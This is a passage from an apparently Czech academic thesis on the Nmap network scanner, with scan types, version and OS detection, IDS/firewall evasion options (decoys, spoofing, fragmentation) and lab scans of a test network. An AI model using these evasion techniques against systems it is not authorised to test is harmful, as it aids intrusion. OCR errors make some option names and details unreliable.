rozliSeni DNS. Ve vychozim nastaveni Network Mapper urcuje server DNS (pro feSeni rDNS)
ze souboru resolv.conf (Unix) nebo z registru (Win32). Tuto moznost muzete pouzit k zadani
alternativnich serverti. Pouziti vice serveri DNS casto zvySuje rychlost skenovéni, zejména
pokud jsou vybrany oficidlni servery pro IP cilovy prostor. Tato moznost také mize zvysit uta-
jeni, protoze dotazy mohou byt pfesmérovany libovolnym rekurzivnim serverem DNS na In-

ternetu. [3]
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3.2 SKENOVACI METODY TCP A UDP

Vétsina typt skenovani je k dispozici pouze pro privilegované uzivatele, protoze jsou
zalozeny na odesilani starych paketli, coz vyzaduje prava uzivatelii root na systémech Unix.
V systému Windows se doporucuje spoustét skenovani pod uctem spravce, avsak v nékterych
ptipadech funguje sitovy mapovac s béznym uZzivatelskym uctem.

Network Mapper umoziiuje kdykoli pouzit pouze jednu metodu skenovani. Vyjimkou
je skenovani UDP (-sU), které Ize kombinovat s jakymkoli typem skenovani TCP.

Riizné moznosti prohledavani portl jsou zadany ve formuléii —s <C>, kde <C> je znak
z ndzvu typu skenovani. [3]

-sS — TCP SYN scan. Nejpopuldrnéjsi typ skenovani ve vychozim nastaveni. SYN
je schopen s rychlym pfipojenim skenovat tisice porti za sekundu, jeho provoz neni branén
omezujicimi firewally. Tento typ skenovani je neviditelny, protoze s timto skenovanim se spo-
jeni TCP nikdy nezavede az do konce.

SYN pracuje s libovolnym zasobnikem TCP, poskytuje spolehlivé rozliSeni mezi stavy:
otevfeny, uzavieny a filtrovany.

Tato technika skenovani se ¢asto nazyva skenovani s pouzitim polootevienych spojeni,
z diivodu toho, Ze se neotevira plné TCP spojeni.

Odpovédi SYN/ACK ukazuji, ze port je pfipraven (otevieny) a RST (reset), Ze neni pfi-
praven na komunikaci. Pokud po nékolika zddostech neobdrzi odpovéd’, port je oznacen jako
filtrovany. Ptistup je také oznacen jako filtrovany, pokud dojde k odezvé chyby ICMP nedosa-
zitelné (typ 3, kod 1,2, 3,9, 10 nebo 13).

-sT (TCP skenovani pomoci pfipojeni systémového volani). Vychozi typ skenovani
TCP, je-li skenovani SYN nedostupné, pokud uzivatel nema opravnéni pouzivat surové pakety
nebo pii skenovani siti [Pv6.

Timto provéfovanim sitovy mapovac pozaduje, aby operacni systém zalozil spojeni
s cilovym hostitelem na daném portu odeslanim voléani pro ptipojeni. Connect je systémové vo-
lani, které pouzivaji klienti P2P, prohliZzece a dalsi aplikace k vytvoteni spojeni. Connect je sou-
Casti programovatelného rozhrani znamé jako Berkeley Sockets API.

Mapovac sité pouziva rozhrani Berkeley Sockets API, aby ziskal stav kazdého pokusu
o ptipojeni. [4]

KdyZ je mozné pouzit SYN skenovani, tak je vhodné jej pouzit, jelikoZ toto skenovani

je nejlepsi. Systémové volani ukoncuje spojeni se vSemi otevienymi porty, misto toho, aby bylo
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pouzito polooteviené spojeni, jako v ptipad¢ se SYN skenovanim. V takovém piipad¢ je po-
tieba pro ziskani stejné informace vétsi mnozstvi Casu a paketd, a také cilova zatizeni mohou
zapsat toto spojeni do logu. To samé déla kvalitni IDS, ale velky pocet zafizeni nema tuto
ochranu. Velky pocet sluzeb v UNIX systému bude zapisovat do logu, kdyZ sitovy mapovac
bude otevirat a uzavirat spojeni bez posilani dat. Spravce uvidi v logu skupinovy seznam zapist
o zkouskach pro vytvofeni spojeni z jednoho zatizeni a zjisti, Ze zatizeni bylo skenovano.

-sU (moznost skenovani UDP). Vétsina sluzeb vyuziva protokol TCP, ale sluzby UDP
jsou také rozsifené. Oblibené sluzby: DNS, SNMP aDHCP (pouzije porty 53,
uzivateld ignoruje tyto porty, coz je chyba, protoze n¢které sluzby UDP jsou pouzivany pro si-
tové utoky. [3]

UDP skenovani je povoleno s volbou -sU, Ize jej kombinovat s jakymkoliv typem ske-
novani TCP, aby se pfi jednom skenovani paralelné pouzivaly dva protokoly.

Skenovani UDP posle prazdné hlavicky UDP do kazdého cilového portu. V zavislosti
na reakci: jestlize odpovéd je chyba chybéjiciho portu ICMP (typ 3, kod 3) tak je port uzavien.
Jiné chyby nedostupnosti ICMP (typ 3, kody 1,2, 9, 10 nebo 13) znamenaji, ze je port filtrovan.

Hlavni nevyhodou skenovani UDP je jeho rychlost. Oteviené a filtrované porty nemusi
odesilat odpovédi a Network Mapper posle opakované pozadavky. Zavieni portl miize vratit
ICMP chybu neuspésného portu.

Network Mapper detekuje tato omezeni a minimalizuje pocet pozadavki, aby nedoslo
k zaplnéni sité pakety, které cilovy hostitel ignoruje.

Chcete-li zvysit rychlost skenovani pomoci protokolu UDP, pouzijte paralelni kontroly
hostitele, prioritni prohledavani populdrnich portt, skenovani firewallu a pouziti moznosti -
-host-timeout pro ignorovani pomalych hostiteld. [5]

-sN; -sF; -sX (TCP NULL, FIN a Xmas scan). Tyto typy skenovani se pouzivaji k roz-
déleni portli na oteviené a zaviené porty kvili malé chybé v TCP RFC. Pokud je hostitel ske-
novan (kompatibilni s RFC), paket, ktery nemé bity SYN, RST, ACK, iniciuje odeslani odpo-
veédi RST, pokud je port blizky, nebo pokud neni port otevieny, tak nebude odeslana zadna
odpovéd’. Pokud tyto bity nejsou v paketu nastaveny, pak bude né¢jaka z kombinaci FIN, PSH
a URG spravna.

Network Mapper pouziva tento princip v nasledujicich typech skenovani:

= Nulovy sken (-sN) - nejsou nastaveny zadné bity (Flags v hlavicce TCP 0);
= FIN scan (-sF) - je nastaven pouze bit TCP FIN;
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= Xmas scan (-sX) - nastavte piiznaky FIN, PSH a URG.

Vyse uvedené typy skenovani pracuji podobnym zpiisobem, lisi se pouze v ptikazech
TCP nastavenych v pozadavcich paketd. V ptfipadé, ze pozadavek obdrzi RST paket, pak port
je zavieny, pokud neobdrzi odpovéd’, tak port je otevieny | filtrovany a port je filtrovan, jestlize
dojde k nedosazitelné chybé ICMP (typ 3, kod 1, 2, 3, 9, 10 nebo 13).

-sA (kontrola TCP ACK). Tento typ skenovani nemtze detekovat otevieny a otevieny |
filtrovany port. Pouziva se k urceni algoritmu firewallu (stavové uctovani, filtrované porty).

Pozadovany paket obsahuje pouze ptiznak ACK (pokud nejsou zahrnuty --scanflags).
Pii skenovani nefiltrovanych systému otevie a poté znovu uzavie paket RST a Network Map-
per je oznaci za nefiltrované. Neodpovidajici porty nebo chyba kompatibilni s protokolem
ICMP (typ 3,kod 1, 2, 3,9, 10 nebo 13) jsou oznaceny jako filtrované. [5]

-sW (skenovani TCP okna). Tento typ skenovani se podoba kontrole ACK a slouzi k od-
déleni portt do otevieného a zavieného prostoru. Oddéleni portl je zaloZeno na analyze pole
protokolu pfijatého paketu RST.

V mnoha otevienych systémech maji porty pozitivni hodnotu pole TCP a blizké porty
jsou nulové. Této metod¢ vSak nelze zcela divétovat, protoze ne vSechny systémy toto pravidlo
podporuji.

-sM (Maimon TCP scan). Tento typ skenovani byl popsan odbornikem Uriel Maimon.
Princip skenovani je podobny metodam skenovani NULL, FIN a Xmas, ale FIN / ACK se po-
uzivaji pro dotazy. Podle protokolu RFC 793 (TCP) v reakci na pozadavek FIN / ACK by m¢l
systém vratit RST paket, pokud je port otevieny nebo zavieny. Uriel Mamon si v§iml, Ze sys-
témy BSD vyhodi paket, pokud je port otevieny. [3]

--scanflags (Vlastni skenovani TCP). MoZnosti umoziiuji ptizptisobit typ skenovani na-
stavenim ptiznaka TCP.

Argument --scanflags je &iselna nebo symbolicka hodnota (napi. Ciselna: 1-9 - PSH
a FIN ptiznaky; symbolické: URG, ACK, PSH, RST, SYN a FIN).

Kromé ptiznakli mtzete urcit typ skenovani TCP (naptiklad -sA / -sF). Typ skenovani
umozni sitovému mapovaci interpretovat systémové odpovédi. Network Mapper provadi za-
dany typ skenovani se zadanymi ptiznaky TCP. Vychozi hodnota je SYN skenovani.

-sI <zombie host> [: <port>] (lazy idle scan). Tato metoda skenovani umoziuje nena-
padné prohledavani portu cile pomoci protokolu TCP (pakety nejsou odeslany do cilového hos-
titele ze skute¢né IP adresy). Zafizeni zombie generuje ID IP fragmentu pro shromazd’ovani

informaci o otevienych portech cilového hostitele. IDS zvazi skenovani z pocitate zombie. [5]

27



Tento typ skenovani také umoznuje identifikovat a pouzivat diivéryhodné vztahy mezi
hostitelemi zaloZenymi na protokolu IP.

Chcete-li pouzit uréeny port, musite jej zadat za dvojtecku na virtualnim hostiteli. Vy-
chozi port je 80.

-sO (skenovani IP). Tento typ skenovani urcuje seznam protokolti IP cilového hostitele
(TCP, ICMP, IGMP atd.). [3]

Skenovani protokolu IP je podobné algoritmu implementovanému ve skenovani UDP.
V odeslanych IP paketech se zméni 8bitové pole protokolu. Hlavicky jsou obycejné prazdné,
neobsahuji zadna data a také spravné udaje pro potiebny protokol. Vyjimkami jsou TCP, UDP
a ICMP. Systém pfi skenovani oc¢ekava, ze protokol ICMP vrati chybovou zpravu o nedosazi-
telnosti. Pokud mapovac sité ptijima jakoukoli odpoved’ na jakykoli protokol, protokol je ozna-
¢en jako otevieny. Chybova zprava protokolu ICMP (typ 3, kod 2) oznacuje protokol jako uza-
vieny. Dalsi chyby ICMP nedostupnosti (typ 3, kod 1, 3, 9, 10 nebo 13) oznaci protokol jako
filtrovany (soucasné€ oznacuji, ze protokol ICMP je otevieny). Pokud po n€kolika zZadostech ne-
obdrzite zddnou odpovéd’, je protokol oznacen jako otevieny | filtrovany.

-b <FTP host> (skenovani FTP). Tento typ skenovani je zaloZen na schopnosti serveru
FTP skenovat porty jinych hostitel. Systém pozaduje, aby server FTP odeslal soubor na kazdy
naskenovany port cilového pocitace. Chybova zprava indikuje stav otevieni nebo uzavieni
portu. Tento typ skenovani je vhodny pro obejiti firewalld, protoze FTP servery maji vétsi pii-

stup k hostitelim sit¢ nez jiné pocitace. [3]

3.3 DETEKCE VERZI SITOVYCH SLUZEB

Network Mapper muze piiskenovani vzdaleného hostitele indikovat otevieni portt
25 (TCP), 80 (TCP) a 53 (UDP). Nmap-services ma pro mapovani portli pro konkrétni sluzby
ve své databazi: postovni server (SMTP), webovy server (HTTP) a server pro pieklad doméno-
vého jména (DNYS).

Spolehlivost definice je vysoka, protoZe statisticky je tato informace potvrzena s velkou
pravdépodobnosti.

Po rozpoznéni porti TCP anebo UDP, je spustén sitovy mapovac, aby se urc€ili sluzby,
které tyto porty pouzivaji. Databaze nmap-service-probes obsahuje dotazy tykajici se riznych
sluzeb a odpovidajicich vyrazl pro rozpoznavani a analyzu odpovédi. [4]

Network Mapper se také pokusi zjistit protokoly sluzeb, ndzev aplikace, verzi, nazev
hostitele, typ zafizeni, operacni systém a jméno uzivatele, ale ve vétSiné€ ptipadl nejsou tyto

informace poskytovany.

28



Pokud sitovy mapovac¢ nemuze interpretovat odpovédi sluzby, poskytne odkaz pro ode-
slani informaci o sluzbé pro dalsi analyzu.

Moznosti zjisténi verzi sluzby:

= -sV (verze). Volba spusti funkci pro detekei verzi;

= --allports (nevylucovani portt z detekce verzi). Ve vychozim nastaveni funkce de-
tekce verze vynechava port TCP 9100, protoze nékteré tiskarny jednoduse vytisknou
v§e, co pfichazi k tomuto portu, coz vede k desitkdm stranek pozadavkit HTTP GET,
pozadavkiim na bindrni relace SSL atd. [5];

= --version-intensity <hodnota> (nastavuje intenzitu funkce). Pfi skenovani s ur¢enou
volbou verze (-sV) mapovac sité odesila fadu pozadavkl, z nichz kazda ma pfifazenou

hodnotu v rozmezi od 1 do 9.

Pozadavky s nizkymi hodnotami jsou Gi¢inné pro vétSinu typickych sluzeb, zatimco po-
zadavky s vys$simi hodnotami jsou jen zfidka vyuzivany v praxi. Uroven intenzity uréuje, které
dotazy by mély byt pouzity béhem skenovani. Cim vyssi je pozadavek, tim vétsi je pravdépo-
dobnost spravné identifikace sluzby. Skenovani s vysokou intenzitou vSak bude trvat dlouho.
Urovet intenzity musi byt nastavena na &islo od 0 do 9.

-sR (RPC scan). Tato metoda skenovani mize pracovat paralelné s jinymi zptsoby ske-
novani. Tato volba odesle vice pfikazit NULL programu SunRPC k otevienym portim proto-
kolu TCP / UDP, aby se zjistilo, zda jsou tyto porty typu RPC a jaké programy a verze pouZzi-
vaji. [1]

3.4 DETEKCE VERZI OPERACNIHO SYSTEMU

Dtlezitou funkci sitového mapovace je definice operacniho systému zaloZena na ana-
lyze stackii protokolu TCP / IP. Systém odesild pakety TCP a UDP do vzdalené¢ho hostitele
a zkouma odpovédi. Po obdrzeni n¢kolika variant odpovédi porovnava sitovy mapovac vy-
sledky s databazi typickych sad odezev pro rizné operacni systémy a zobrazi informace o ope-
ra¢nim systému nainstalovaném na hostiteli.

Vsechny sady obsahuji textovy popis opera¢niho systému a klasifikace, udavajici vy-
robce OS, nazev OS, generaci OS, typ zafizeni. [5]

Pokud sitovy mapovac¢ nemuze identifikovat operacni systém, pak bude vyzadovat sou-
bor vlastnosti pro dalsi analyzu a doplnéni databéze.

Moznosti detekce OS:

= -0 - Povolit definici OS;
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= --osscan-guess; -fuzzy — Neni-li mozné ptesné€ urcit operacni systém, mize sitovy mapovac
poskytnout odhad pravdépodobnosti s oznac¢enim procentudlni pravdépodobnosti;

* --max-os-tries <hodnota> — Nastaveni maximalniho poctu pokusii o naskenovani operacniho
systému. Pokud je skenovaci cyklus chybny, OS opakuje pokusy o skenovani. Ve vychozim
nastaveni sitovy mapovac provadi 5 skenovacich cyklt za vyhodnych podminek a dvakrat

ve vsech ostatnich pfipadech. [1].

3.5 DETEKCE FIREWALLU

Brany firewall ¢ini sitové skenovani obtizné. Sitovy mapova¢ ma moznosti, jak obejit
firewally. Tyto funkce umoziuji otestovat sitovy zabezpecovaci systém.

DalSim prvkem zabezpecent sité jsou systémy detekce naruseni (systémy IDS). IDS po-
uziva pravidla pro zji$téni, zda je sit’ naskenovana a umoziuje ji zablokovat. [4]

-f (fragmentové pakety); --mtu (pomoci specifikované hodnoty MTU). Volba -f nasta-
vuje rezim pro pouziti malych fragmentovanych IP paketi.

Cilem je rozdé¢lit hlavicky TCP na ¢asti a poslat je do riznych paketl, aby se zabloko-
valy filtry pakett a IDS.

-D <dummy host1> [, <dummy host2>] [, ...] (moZnost maskovani skenovani pomoci
fiktivnich hostitell). Skenovani pomoci falesnych hostitelli umoziuje zameénit filtry a IDS. IDS
sleduje pocet skenll portl z kazdé adresy IP, ale nemulze urcit, kterd adresa je pravé prohleda-
vana.

Pouziti velkého poctu faleSnych hostitelli miize snizit rychlost skenovani a snizit pres-
nost. [1]

-S <IP adresa> (moznost zménit zdrojovou adresu). Mapovac sité nemusi urcit adresu
hostitele, v takovém piipadé mizete zménit adresu IP vysilajiciho hostitele. To mtlize byt pou-
zito k zachyceni bezpe¢nostniho systému vzhledem ke zdroji skenovani.

-e <zafizeni> (moznost pouzit konkrétni rozhrani). Tato volba nastavuje rozhrani pou-
zité pro odesilani / ptijem pakett.

--source-port <cislo portu>; -g <¢islo portu> (moznost nastaveni vlastniho ¢isla portu).
Mnoho bezpecnostnich systémt je nakonfigurovano tak, aby diivétovalo provozu z ur€itého
portu. UvaZovand moznost umoziuje vyuzit této chyby v zabezpeceni.

Vétsina typt skenovani TCP a UDP podporuje volby --source-port a -g.
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--data-length <C¢islo> (moZnost generovat libovolna data pro odesilani paketi). Sitovy
mapovac obvykle odesild minimalni pakety sestavajici ze zahlavi. Volba --data-length specifi-
kuje velikost paketu, ktery ma byt generovan. Sitovy mapovac ptidava do vytvorenych pakett
zadany pocet libovolnych bajtli. Tato moznost zpomaluje skenovani a €ini jej méné viditelnym.

--ip-options <S | R [trasal] | L [trasa2] | T | U ...>; --ip-options <Sestnactkovy fetézec>
(moznost odeslat balicek se zadanymi moznostmi IP). MozZnosti umoziuji provést potiebné
lu€uje jejich pouziti pro ur¢ovani a manipulaci s trasami na cilové pocitace. [4]

--ttl <hodnota> (moznost nastavit zivotnost balicku). Nastavi pole zivotnosti
IPv4 v odeslanych paktech podle zadané hodnoty.

--rangemize-hosts (moznost volby libovolného potadi pro ucely skenovani). Tato
volba umoziiuje skryti sitového skenovani. Mapovaé sit€¢ presune kazdou skupinu
az 16384 hostitelt pted skenovanim. [3]

--spoof-mac <MAC adresa, pfedpona nebo nazev vyrobce> (moznost zadat vlastni
MAC adresu). Volba nastavuje adresu MAC pro odeslané ethernetové ramce. MAC adresa
muze byt zadana ptesné jako neuplnd sada hexadecimalnich cislic (s ¢astecnou ndhodnou na-
plni) a = 0 (pIné ndhodné plnéni). Pokud argument neni zadan, sitovy mapovac vyhleda nazev
vyrobce ve své databazi. Pokud je nalezena shoda, sitovy mapovac pouziva predponu OUI vy-
robce (tfibajtova predpona) a zbyvajici 3 bajty ndhodné vyplni.

--badsum (moZnost odeslat pakety s fiktivnimi kontrolnimi soucty TCP / UDP). Volba
nastavuje pouziti nespravnych kontrolnich souct TCP / UDP pro pakety odeslané béhem ske-
novani. Asi kazda realizace protokolu IP nezpracovava takové pakety a jakékoliv odpovédi pii-
chézejici od firewallu nebo IDS, které nekontroluje kontrolnim souctem, s vysokou pravdépo-

dobnosti pochézeji od firewallu nebo IDS, ktery nekontroluje kontrolni soucet.

3.6 POKROCILE SKENOVACI TECHNIKY

NMAP ma nékolik pokroc€ilych technik pro skenovani siti. K takovym technikam patfi:

* -6 (moznost povolit skenovani protokolu IPv6). MoZnost zahrnuje praci s protokolem
IPv6. ISP nemusi poskytnout adresu IPv6, v takovém ptipad¢€ je mozné pouzit sluzbu
Tunnel Brokers;

= -A (moznost aktivovat agresivni skenovani). Moznost nastaveni pozadovanych infor-
maci pii skenovani: operacni systém (-O), verze OS (-sV), skenovani pomoci skriptl

(-sC), trasovani (- traceroute) [3];
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= --send-eth (moZnost pouZiti raw ethernet). Povolenim této volby je systém informo-

van o odesilani paket pomoci vrstvy raw Ethernet a sitové vrstvy IP.

Ve vychozim nastaveni sitovy mapovac zvoli metodu pro konkrétni platformu. Raw pa-

kety jsou vhodnéjsi pro préci s platformou Unix a ethernetové rdmce pro platformu Windows.

= --send-ip (moznost povolit pouziti raw IP tirovn¢). Tato volba ika systému odesilat
raw IP sokety, nikoliv ethernetové ramce nizké Grovné;

= —-privileged (opravnéna uzivatelské volba). MoZnost uvadi, Ze uzivatel ma vSechna
potiebna opravnéni pro pouziti raw soketl a dalSich podobnych operaci. [3];

= --unprivileged (neopravnéna moznost uzivatele). Moznost uvadi, Ze uzivatel nema

opravnéni pro pouziti raw sockets a sniffingu.

3.7 SKRIPTOVANI POMOCI NMAP

Skriptovaci systém Nmap Scrtipting Engine ptedstavuje komplexni nabidku testovani
sit‘ove infrastruktury. Tento systém umoziuje uzivatelim psat a sdilet skripty, které jsou na-
psané v programovacim jazyce Lua, pro automatizace skenovani siti. Skripty se vyznacuji vy-
sokou ryhlosti a efektivitou. Pfedpfipravene skripty jsou ulozené v databazi a jsou uzivatelim
k dispozici. [3]

Skripty jsou v databazi rozdéleny do nékolika kategorii:

= Auth — kategorie obsahuje skripty pro autentifikace v cihlovém systému.

= Broadcast — skripty z této kategorie jsou pouzitelné pro skenovani siti pomoci vse-
smérového vysilani.

= Brute — dane skripty jsou pouZitelné pro itok hrubou silou, aby ziskat data pro ptihla-
Seni na vzdaleny systém.

= Discovery — skripty, které jsou pouzitelné pro ziskani informace o siti pomoci zatizeni
s podporou SNMP.

= Dos — dane skripty obycejn¢ pouzivaji pro zastaveni provozu zafizeni nebo sitovych
sluzeb.

= Exploit — dane skripty jsou urcené k pouziti zranitelnosti v systému.

= External — skripty, kter¢ posilaji data do databazi tieti strany nebo do jiného zatizeni.

* Fuzzer — skripty z dane kategorie jsou pouzitelné pro posilani ndhodnych nebo neoce-

kavanych paketi.

32



Intrusive — skripty ,které nejsou bezpecné, z divodu, Ze mohou zastavit provoz sito-
vych sluzeb.

Malware — skripty, které jsou uicené k detekce, zda cilové zatizeni ma backdoory.
Vuln — skripty, které jsou uicené pro detektovani zranitelnosti systému a ziskani infor-

maci o zranitelnosti.
Pro pouziti skriptu jsou nésledujici piikazy:

-sC: ekvivalentni moznost --script=default;

--script=<Lua scripts>: <Lua scripts> je seznam odd¢lenych ¢arkami adresaiti, sou-
bort skripti nebo kategorii skriptii;

--script-args=<nl=vl,[n2=v2,...]>: Pfedavani argumentd skriptiim;

--script-trace: Tisk vSech piijatych a odeslanych dat;

--script-updatedb: Aktualizovani databaze skriptd.
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4 PRIKLADY POUZITI V PRAXI

4.1 POPIS SYSTEMU PRO TESTOVANI

Testovaci sit’ se sklada ze 7 pocitact a jednoho prepinace viz obrazek 4.1. VSechny po-
Citace jsou pripojené k piepinaci a IP adresy jsou nastaveny manudlné. VSechny pocitace maji
vychozi nastaveni, vSechny zmény a parametry jsou popsané v tabulkach 1 a 2.

Parametry sité:

= Adresa podsiti: 10.0.2.0;

= Maska podsiti: 255.255.255.0;
= Vychozi brana: 10.0.2.2;

= DNS server: 10.0.2.2.

J I

i D ——d i) ]

:// F — D
Windows 7 N1 Windows 7 N22  Windows 10 Ne1  Windows 10 N22  Linux N1 Linux N22

Obrazek 2 Schéma systému pro testovani

Zdroj:Viastni
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Tabulka 1 Seznam pocitaci

Nézev poc¢i- | Jméno hos- | Operacni systém IP ad- MAC adresa | Rozsifené na-
tace titele resa stavené
Windows 7 | windows-7- | Microsoft Windows 7 10.0.2.1 | 08:00:27:99:E | -
Nel NI x64 SP 1 01 1:7A
Windows 7 | windows-7- | Microsoft Windows 7 10.0.2.1 | 08:00:27:99:E | Firewall je vy-
Ne2 N2 x64 SP 1 02 1:7B pnuty
Windows 10 | windows- Microsoft Windows 10 | 10.0.2.1 | 08:00:27:99:E | -
Nel 10-N1 x64 03 1:7C
Windows 10 | windows- Microsoft Windows 10 | 10.0.2.1 | 08:00:27:99:E | Firewall je vy-
Ne2 10-N2 x64 04 1:7D pnuty
Linux Nel linux-N1 Ubuntu 18.04.2 LTS 10.0.2.1 | 08:00:27:99:E | -

05 1:8A
Linux Ne2 linux-N2 Metasploitable 2 (Ub- 10.0.2.1 | 08:00:27:99:E | -

untu 8.04) 06 1:8B

Skener skener Kali Linux 10.0.2.9 | 08:00:27:99:9 | -

9 1:99

Tabulka 2 Seznam ptidanych sluzeb

Zdroj: Viastni

Nézev pocitace Sluzba Program Port

Windows 7 Nel HTTP Miniweb 8000
Windows 7 Ne2 HTTP Miniweb 8000
Windows 10 Nel HTTP Miniweb 8000
Windows 10 No2 HTTP Miniweb 8000
Linux Ne2 FTP VSFTPD 21
Linux Ne2 SSH OpenSSH 22
Linux Ne2 Telnet Linux telnetd 23
Linux Ne2 SMTP Postfix smtpd 25
Linux Ne2 domain ISC BIND 53
Linux Ne2 HTTP Apache httpd 80
Linux Ne2 rpcbind RPC 111
Linux Ne2 netbios-ssn Samba smbd 134
Linux Ne2 netbios-ssn Samba smbd 445
Linux Ne2 exec netkit-rsh 512
Linux Ne2 shell Netkit rshd 513
Linux Ne2 rmiregistry GNU Classpath grmiregistry 1099
Linux Ne2 NFS 2049
Linux Ne2 FTP ProFTPD 2121
Linux Ne2 mysql MySQL 3306
Linux Ne2 distccd distccd 3632
Linux Ne2 postgresql PostgreSQL DB 5432
Linux Ne2 vnc VNC 5900
Linux Ne2 XI11 6000
Linux Ne2 irc UnreallRCd 6667
Linux Ne2 irc UnreallRCd 6697
Linux Ne2 ajpl3 Apache Jserv 8009
Linux Ne2 HTTP Apache Tomcat 8180
Linux Ne2 drb Ruby DRb RMI 8787
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4.2 ZAKLADNI SKENOVANI SITI

Pro ziskani seznamu aktivnich zatizeni staci zadat ptikaz nmap s parametrem —sn a vy-

branym parametrem cile:

»  <JP adresa> — skenovani jedné adresy;
» <a.b.c.d-w.x.y.z>— skenovani adres v rdmci intervalu a.b.c.d-w.x.y.z;
» <[P adresa/Maska> — skenovani podsiti;

» <Nazev uzlu> — skenovani zatizeni podle doménového jména.

Ten druh skenovani bude posilat TCP ACK paket na port 80 a ICMP paket na kazdou
cilovou adresu.

Vysledky skenovani ptikazem nmap -sn 10.0.2.0/24 jsou:

Nmap scan report for 10.0.2.99
Host is up (0.00016s latency) .
MAC Address: 08:00:27:99:91:99
Nmap scan report for 10.0.2.102
Host is up (0.00041s latency) .
MAC Address: 08:00:27:99:E1:7B
Nmap scan report for 10.0.2.104
Host is up (0.00027s latency) .
MAC Address: 08:00:27:99:E1:7D
Nmap scan report for 10.0.2.105
Host is up (0.00028s latency) .
MAC Address: 08:00:27:99:E1:8A
Nmap scan report for 10.0.2.106
Host is up (0.00027s latency) .
MAC Address: 08:00:27:80:D3:2A

Na zakladé téchto vysledkl je mozné fict, Ze v siti je 5 aktivnich zatizeni: Skener, Win-
dows 7 Ne2, Windows 10 Ne2, Linux Nel, Linux Ne2 a vysledky jsou neuplné z diivodu, ze po-
¢itace Windows 7 Nel, Windows 10 Nel maji zapnuty firewall, ktery zahodi pakety.

4.3 DETEKCE VERZI SiITOVYCH SLUZEB

Jednou z nejpouzitelnéjSich funkci NMAP je detekce nazvu sluzby, programu a jeho
verze spusténych na zatizeni. Naptiklad, vyhoda téchto funkci je ve vybéru exploitu a v prolo-
meni zafizeni. Detekce probihé na zakladé analyzy dat odpovédi a porovnani s informaci v da-
tabazi. Pravdépodobnost spravného detektovani je docela vysoka.

Pro zakladni detekci verzi sluzeb je parametr -s¥, pomoci néhoz bude spusténa detekce

verze sitovych sluzeb.
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Vysledky skenovani prikazem nmap -sV 10.0.2.101-106 jsou

Nmap scan report for 10.0.2.101
Host is up (0.00057s latency) .
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
8000/tcp open http-alt MiniWeb

Nmap scan report for 10.0.2.102
Host is up (0.00017s latency) .
Not shown: 986 closed ports
PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds

(workgroup: WORKGROUP)
554/tcp open rtsp?

2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8000/tcp open http-alt MiniWeb

10243 /tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152 /tcp open msrpc Microsoft Windows RPC

49153/tcp open msrpc Microsoft Windows RPC

49154 /tcp open msrpc Microsoft Windows RPC

49155/tcp open msrpc Microsoft Windows RPC

49156/tcp open msrpc Microsoft Windows RPC

49157/tcp open msrpc Microsoft Windows RPC

Nmap scan report for 10.0.2.103
Host is up (0.00036s latency) .
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
8000/tcp open http-alt MiniWeb

Nmap scan report for 10.0.2.104
Host is up (0.00017s latency) .
Not shown: 996 closed ports
PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds

(workgroup: WORKGROUP)
8000/tcp open http-alt MiniWeb

Nmap scan report for 10.0.2.105

Host is up (0.00014s latency) .

All 1000 scanned ports on 10.0.2.105 are closed
MAC Address: 08:00:27:99:E1:8A

Nmap scan report for 10.0.2.106

Host is up (0.00016s latency) .

Not shown: 977 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
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23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd

513/tcp open login OpenBSD or Solaris rlogind

514/tcp open shell Netkit rshd

1099/tcp open rmiregistry GNU Classpath grmiregistry

1524/tcp open bindshell Metasploitable root shell

2049/tcp open nfs 2-4 (RPC #100003)

2121 /tcp open ftp ProFTPD 1.3.1

3306/tcp open mysqgl MySQL 5.0.5la-3ubuntub

5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7

5900/tcp open vnc VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6667/tcp open irc UnrealIRCd

8009/tcp open ajpl3 Apache Jserv (Protocol vl.3)

8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

MAC Address: 08:00:27:80:D3:2A

Service Info: Hosts: metasploitable.localdomain, localhost, linux-
N2, irc.Metasploitable.LAN; 0OSs: Unix, Linux; CPE: cpe:/o:linux:1i-

nux kern

el

Na zaklad€ vysledki je mozné tvrdit, Ze NMAP spravné detektoval ¢isla portu, nazev

sluzeb a jejich verzi. Navic NMAP detektoval nazev operacniho systému, jméno hostitele a ja-

dro systému u pocitace Linux Ne2.

Také u pocitacii Windows 7 Ne2 a Windows 10 Ne2 NMAP detektoval oteviené porty

135, 139, 445 ve vychozim nastaveni.

Pro skenovani verzi sitovych sluzeb je mozné zadat intenzitu skenovani parametrem --

version-intensity s hodnotou od 0 (minimalni intenzita) do 9 (maximalni intenzita). VEétsi inten-

zita znamena vétsi pravdépodobnost detekce, ale snizuje rychlost skenovani.

Tabulka 3 Porovnani intenzity skenovani TCP s poc¢tem detektovanych sluzeb

Intenzita | Doba skenovani (s) Pocet spravné detektovanych verzi u vSech sluzeb
0 43 19
1 55 28
2 55 29
3 66 30
4 75 34
5 82 36
6 126 36
7 160 43
8 339 43
9 470 43
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Na zakladé vysledku v tabulce 3 je mozné tvrdit, Ze ne v kazdém ptipad¢ vede zvySeni
intenzity ke zlepSeni vysledku. V nékterych ptipadech zvyseni intenzity vede pouze ke zvySeni
doby skenovani.

Pro skenovani porti UDP je parametr —sU, ktery zapne funkci UDP pro skenovani
